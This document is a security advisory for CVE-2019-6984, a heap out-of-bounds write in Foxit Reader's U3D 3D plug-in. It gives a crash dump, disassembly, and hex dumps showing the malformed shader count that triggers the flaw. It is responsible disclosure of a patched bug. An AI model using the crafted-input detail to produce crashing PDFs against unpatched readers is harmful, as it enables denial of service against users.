CVE: CVE-2019-6984

Tested Versions:

  • Foxit Reader 9.1.0.5096, U3DBrowser.fpi 9.1.0.425

Product URL(s):

Description of the vulnerability

Foxit Reader is a popular PDF reading and printing software. It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via the U3DBrowser plug-in, which allows viewing embedded 3D annotations in PDF files. Up to version 9.0.1.1049 the plug-in is loaded in its default installation package, subsequent version continues the support to its user base with the plug-in separately acquired.

Any PDF file that embeds certain specially crafted 3D content, specifically, a malformed Shading Modifier Block with an invalid Shading Count, could result in an out-of-bounds write of unbounded number of DWORD 0 from the adjacent heap boundary. It is not likely this is exploitable as a typical heap corruption due to the lack of control on the size and contents of the overwrite. Most likely, this would result in a Denial of Service of the application.

(105c.1428): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000002 ebx=00000000 ecx=13f02ff8 edx=00000000 esi=147b6fd0 edi=fffffffe
eip=66fe43e5 esp=0027d044 ebp=0027d050 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210213

U3DBrowser!PlugInMain+0x866a5:
66fe43e5 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:13f03000=????????

0:000> !heap -p -a ecx
    address 13f02ff8 found in
    _DPH_HEAP_ROOT @ bb61000
    in busy allocation (  DPH_HEAP_BLOCK:    UserAddr    UserSize -    VirtAddr    VirtSize)
                                 c30298c:    13f02ff8           1 -    13f02000        2000
    6a609fcd verifier!AVrfDebugPageHeapAllocate+0x0000029d
    76f06ff4 ntdll!RtlDebugAllocateHeap+0x00000030
    76ed5a8c ntdll!RtlpAllocateHeap+0x000000c0
    76e8dbbd ntdll!RtlAllocateHeap+0x00000243
    6a220269 MSVCR100!malloc+0x00000036
    6a22233b MSVCR100!operator new+0x00000010
    66fe43b1 U3DBrowser!PlugInMain+0x00086671
    66fe4516 U3DBrowser!PlugInMain+0x000867d6
    66fa0a5e U3DBrowser!PlugInMain+0x00042d1e
    [ ... ] 

0:000> dd ecx L4
13f02ff8  00000000 00000000 ???????? ????????

When processing a carefully crafted PDF with 3D stream containing a malformed Shading Modifier Block (type 0xFFFFFF45), an attacker can cause a denial of service of the application or potentially other impact.

Original block with Shader Count of 0x01:
00000200: 6f 64 65 6c 01 00 00 00 45 ff ff ff 1f 00 00 00  odel....E.......
00000210: 00 00 00 00 05 00 42 6f 78 30 30 01 00 00 00 0f  ......Box00.....
00000220: 00 00 00 01 00 00 00 01 00 00 00 06 00 42 6f 78  .............Box
00000230: 30 30 30 00 14 ff ff ff ac 00 00 00 00 00 00 00  000.............
00000240: 05 00 42 6f 78 30 31 00 00 00 00 00 00 00 00 00  ..Box01.........
00000250: 02 00 00 00 22 ff ff ff 60 00 00 00 00 00 00 00  ...."...`.......

Changing the Shader Count to 0xfffffffe:
00000200: 6f 64 65 6c 01 00 00 00 45 ff ff ff 1f 00 00 00  odel....E.......
00000210: 00 00 00 00 05 00 42 6f 78 30 30 01 00 00 00 0f  ......Box00.....
00000220: 00 00 00 01 00 00 00 fe ff ff ff 06 00 42 6f 78  .............Box
00000230: 30 30 30 00 14 ff ff ff ac 00 00 00 00 00 00 00  000.............
00000240: 05 00 42 6f 78 30 31 00 00 00 00 00 00 00 00 00  ..Box01.........
00000250: 02 00 00 00 22 ff ff ff 60 00 00 00 00 00 00 00  ...."...`.......

Due to alignment and padding used for Shader Count, the value 0xfffffffe will turn into an allocation of size 0:

.text:1009438C loc_1009438C:                   ; CODE XREF: sub_10094350+F?j
.text:1009438C                                 ; sub_10094350+16?j
.text:1009438C         push    ebx             ; edx, edi both 0xfffffffe
.text:1009438D         mov     eax, edi        ; 0xfffffffe
.text:1009438F         and     eax, 3          ; eax = 2
.text:10094392         mov     ebx, edi        ; 0xfffffffe
.text:10094394         sub     ebx, eax        ; ebx = 0xfffffffc
.text:10094396         add     ebx, 4          ; ebx = 0
.text:10094396                                 ; align to 4 bytes, got 0
.text:10094399         xor     ecx, ecx
.text:1009439B         mov     eax, ebx
.text:1009439D         mov     edx, 4
.text:100943A2         mul     edx             ; unit size 4 bytes
.text:100943A4         seto    cl
.text:100943A7         neg     ecx
.text:100943A9         or      ecx, eax        ; request allocation size 0
.text:100943AB         push    ecx             ; unsigned int
.text:100943AC         call    j_??2@YAPAXI@Z  ; operator new(uint)
.text:100943B1         mov     ecx, eax

After the allocation, the buffer is initialized to the value of [esi+8], in this PoC, the loop will write a large number of DWORD 0’s from the base. Due to the integer overflow in allocation size during the alignment and padding step, ecx becomes zero, the returned allocation has only 1 byte in user size, while the count edi is 0xfffffffe.

.text:100943E2 loc_100943E2:                    ; CODE XREF: sub_10094350+9B↓j
.text:100943E2         mov     edx, [esi+8]
.text:100943E5         mov     [ecx+eax*4], edx ; OOB Write
.text:100943E8         inc     eax
.text:100943E9         cmp     eax, edi         ; edi = 0xfffffffe
.text:100943EB         jb      short loc_100943E2

This effectively results in an unbounded memset to the ecx buffer with the value of [esi+8] depending on the PoC.

Timeline:

  • 2018-11-28 Vendor disclosure
  • 2019-01-03 Vendor patched

Vendor Response

The vendor has patched the 3D plugin and acknowledged the security issues at https://www.foxitsoftware.com/support/security-bulletins.php.